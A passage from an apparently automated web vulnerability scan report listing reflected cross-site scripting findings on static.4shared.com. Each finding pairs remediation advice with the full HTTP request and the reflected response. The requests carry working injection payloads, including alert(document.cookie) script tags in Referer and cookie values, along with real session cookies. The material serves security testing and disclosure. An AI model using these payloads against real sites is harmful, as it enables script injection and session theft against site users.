<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles7a0ff"-alert(1)-"7efa6baafe1/css/677814427/css/upload-frame.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
f
...[SNIP]...

1.196. http://static.4shared.com/bundles/css/677814427/css/upload-frame.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/677814427/css/upload-frame.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 783a9"-alert(1)-"fe838ec3fce was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles/css783a9"-alert(1)-"fe838ec3fce/677814427/css/upload-frame.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /bundles/css783a9&quot;-alert(1)-&quot;fe838ec3fce/677814427/css/upload-frame.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=304A6285BAAEAEA780FB81E9E5975246.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:56:03 GMT
Content-Length: 36305


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/css783a9"-alert(1)-"fe838ec3fce/677814427/css/upload-frame.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
funct
...[SNIP]...

1.197. http://static.4shared.com/bundles/css/765844602/css/flags.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/765844602/css/flags.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e4888"-alert(1)-"558cf729ae5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundlese4888"-alert(1)-"558cf729ae5/css/765844602/css/flags.css HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://search.4shared.com/search.html?ef9a6--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E310e4e7016=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; WWW_JSESSIONID=C7856C4B2634F6688976E4775B33B16B.dc278; ppVisited=%2FsignUpBox.jsp%3Fdf%3D%27%2522--%253E%253C%2Fstyle%253E%253C%2Fscript%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E%26login%3D3%26months%3D1%26password%3D3%26password2%3D3%26planSelect%3D1%26resetDirView%3D3; ppVisitDate=1298575915645; search.view2=ls

Response

HTTP/1.1 404 /bundlese4888&quot;-alert(1)-&quot;558cf729ae5/css/765844602/css/flags.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=12177EB456CEE1C9AFF4E125678D208A.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sat, 26 Feb 2011 01:56:58 GMT
Content-Length: 36373


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://search.4shared.com/s
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundlese4888"-alert(1)-"558cf729ae5/css/765844602/css/flags.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function
...[SNIP]...

1.198. http://static.4shared.com/bundles/css/765844602/css/flags.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/765844602/css/flags.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 55cbe"-alert(1)-"bce3fca82c4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles/css55cbe"-alert(1)-"bce3fca82c4/765844602/css/flags.css HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://search.4shared.com/search.html?ef9a6--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E310e4e7016=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; WWW_JSESSIONID=C7856C4B2634F6688976E4775B33B16B.dc278; ppVisited=%2FsignUpBox.jsp%3Fdf%3D%27%2522--%253E%253C%2Fstyle%253E%253C%2Fscript%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E%26login%3D3%26months%3D1%26password%3D3%26password2%3D3%26planSelect%3D1%26resetDirView%3D3; ppVisitDate=1298575915645; search.view2=ls

Response

HTTP/1.1 404 /bundles/css55cbe&quot;-alert(1)-&quot;bce3fca82c4/765844602/css/flags.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=4A31C5648BE49CC8FA265F59DDBF3C6C.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sat, 26 Feb 2011 01:57:07 GMT
Content-Length: 36373


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://search.4shared.com/s
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/css55cbe"-alert(1)-"bce3fca82c4/765844602/css/flags.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function fee
...[SNIP]...

1.199. http://static.4shared.com/bundles/css/N162308233/css/network.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/N162308233/css/network.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 499e1"-alert(1)-"af069d79772 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles499e1"-alert(1)-"af069d79772/css/N162308233/css/network.css HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://search.4shared.com/search.html?ef9a6--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E310e4e7016=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; WWW_JSESSIONID=C7856C4B2634F6688976E4775B33B16B.dc278; ppVisited=%2FsignUpBox.jsp%3Fdf%3D%27%2522--%253E%253C%2Fstyle%253E%253C%2Fscript%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E%26login%3D3%26months%3D1%26password%3D3%26password2%3D3%26planSelect%3D1%26resetDirView%3D3; ppVisitDate=1298575915645; search.view2=ls

Response

HTTP/1.1 404 /bundles499e1&quot;-alert(1)-&quot;af069d79772/css/N162308233/css/network.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=8FE0ABC5F9D90922FE6288DE17D525C3.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sat, 26 Feb 2011 01:56:58 GMT
Content-Length: 36388


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://search.4shared.com/s
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles499e1"-alert(1)-"af069d79772/css/N162308233/css/network.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
funct
...[SNIP]...

1.200. http://static.4shared.com/bundles/css/N162308233/css/network.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/N162308233/css/network.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 216fd"-alert(1)-"7a2ba26463d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles/css216fd"-alert(1)-"7a2ba26463d/N162308233/css/network.css HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://search.4shared.com/search.html?ef9a6--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E310e4e7016=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; WWW_JSESSIONID=C7856C4B2634F6688976E4775B33B16B.dc278; ppVisited=%2FsignUpBox.jsp%3Fdf%3D%27%2522--%253E%253C%2Fstyle%253E%253C%2Fscript%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E%26login%3D3%26months%3D1%26password%3D3%26password2%3D3%26planSelect%3D1%26resetDirView%3D3; ppVisitDate=1298575915645; search.view2=ls

Response

HTTP/1.1 404 /bundles/css216fd&quot;-alert(1)-&quot;7a2ba26463d/N162308233/css/network.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=2B8D94FCBEA8898B3426C9E00B7FE2E5.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sat, 26 Feb 2011 01:57:07 GMT
Content-Length: 36388


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://search.4shared.com/s
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/css216fd"-alert(1)-"7a2ba26463d/N162308233/css/network.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function
...[SNIP]...

1.201. http://static.4shared.com/bundles/css/N90201876/css/ajax-suggestions.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/N90201876/css/ajax-suggestions.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1530f"-alert(1)-"5c8612fc249 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles1530f"-alert(1)-"5c8612fc249/css/N90201876/css/ajax-suggestions.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /bundles1530f&quot;-alert(1)-&quot;5c8612fc249/css/N90201876/css/ajax-suggestions.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=B17461934EAD1091733A85356597E328.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:55:40 GMT
Content-Length: 36325


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles1530f"-alert(1)-"5c8612fc249/css/N90201876/css/ajax-suggestions.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}

...[SNIP]...

1.202. http://static.4shared.com/bundles/css/N90201876/css/ajax-suggestions.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/N90201876/css/ajax-suggestions.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2117a"-alert(1)-"c970855b872 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles/css2117a"-alert(1)-"c970855b872/N90201876/css/ajax-suggestions.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: static.4shared.com

Response

HTTP/1.1 404 /bundles/css2117a&quot;-alert(1)-&quot;c970855b872/N90201876/css/ajax-suggestions.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=C16C4564F26D125869512CC66192510F.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:55:47 GMT
Content-Length: 36325


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:null-->
<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/css2117a"-alert(1)-"c970855b872/N90201876/css/ajax-suggestions.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
f
...[SNIP]...

1.203. http://static.4shared.com/bundles/css/gzip_630963420/css/openid.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/gzip_630963420/css/openid.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 163b1"-alert(1)-"297eae2c019 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles163b1"-alert(1)-"297eae2c019/css/gzip_630963420/css/openid.css HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Cache-Control: max-age=0
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; __utmb=210074320.1.10.1298497029; WWW_JSESSIONID=72833390295947212805B0C0BC19F5EA.dc278; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /bundles163b1&quot;-alert(1)-&quot;297eae2c019/css/gzip_630963420/css/openid.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=CFEBAD46D8406FDC60AABD88429B07B6.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:50:48 GMT
Content-Length: 36319


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles163b1"-alert(1)-"297eae2c019/css/gzip_630963420/css/openid.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
fu
...[SNIP]...

1.204. http://static.4shared.com/bundles/css/gzip_630963420/css/openid.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/gzip_630963420/css/openid.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 30f3d"-alert(1)-"0dd0c41e0d3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles/css30f3d"-alert(1)-"0dd0c41e0d3/gzip_630963420/css/openid.css HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Cache-Control: max-age=0
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; __utmb=210074320.1.10.1298497029; WWW_JSESSIONID=72833390295947212805B0C0BC19F5EA.dc278; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /bundles/css30f3d&quot;-alert(1)-&quot;0dd0c41e0d3/gzip_630963420/css/openid.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=2891AA2AF3FD3761E519E71601B78FFD.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:50:54 GMT
Content-Length: 36319


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/css30f3d"-alert(1)-"0dd0c41e0d3/gzip_630963420/css/openid.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
functi
...[SNIP]...

1.205. http://static.4shared.com/bundles/css/gzip_677814427/css/upload-frame.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/gzip_677814427/css/upload-frame.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9b65f"-alert(1)-"5a3a52c1156 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles9b65f"-alert(1)-"5a3a52c1156/css/gzip_677814427/css/upload-frame.css HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Cache-Control: max-age=0
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; __utmb=210074320.1.10.1298497029; WWW_JSESSIONID=72833390295947212805B0C0BC19F5EA.dc278; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /bundles9b65f&quot;-alert(1)-&quot;5a3a52c1156/css/gzip_677814427/css/upload-frame.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=F821921AEC084A71599799BE7EB3C302.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:50:48 GMT
Content-Length: 36349


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles9b65f"-alert(1)-"5a3a52c1156/css/gzip_677814427/css/upload-frame.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}

...[SNIP]...

1.206. http://static.4shared.com/bundles/css/gzip_677814427/css/upload-frame.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/gzip_677814427/css/upload-frame.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3b9ab"-alert(1)-"dee60659f4a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles/css3b9ab"-alert(1)-"dee60659f4a/gzip_677814427/css/upload-frame.css HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Cache-Control: max-age=0
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; __utmb=210074320.1.10.1298497029; WWW_JSESSIONID=72833390295947212805B0C0BC19F5EA.dc278; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /bundles/css3b9ab&quot;-alert(1)-&quot;dee60659f4a/gzip_677814427/css/upload-frame.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=2401037377E5C602B65A37F6FB87A0F2.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:50:54 GMT
Content-Length: 36349


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/css3b9ab"-alert(1)-"dee60659f4a/gzip_677814427/css/upload-frame.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}

...[SNIP]...

1.207. http://static.4shared.com/bundles/css/gzip_N90201876/css/ajax-suggestions.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /bundles/css/gzip_N90201876/css/ajax-suggestions.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 76573"-alert(1)-"ec03b530299 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bundles76573"-alert(1)-"ec03b530299/css/gzip_N90201876/css/ajax-suggestions.css HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
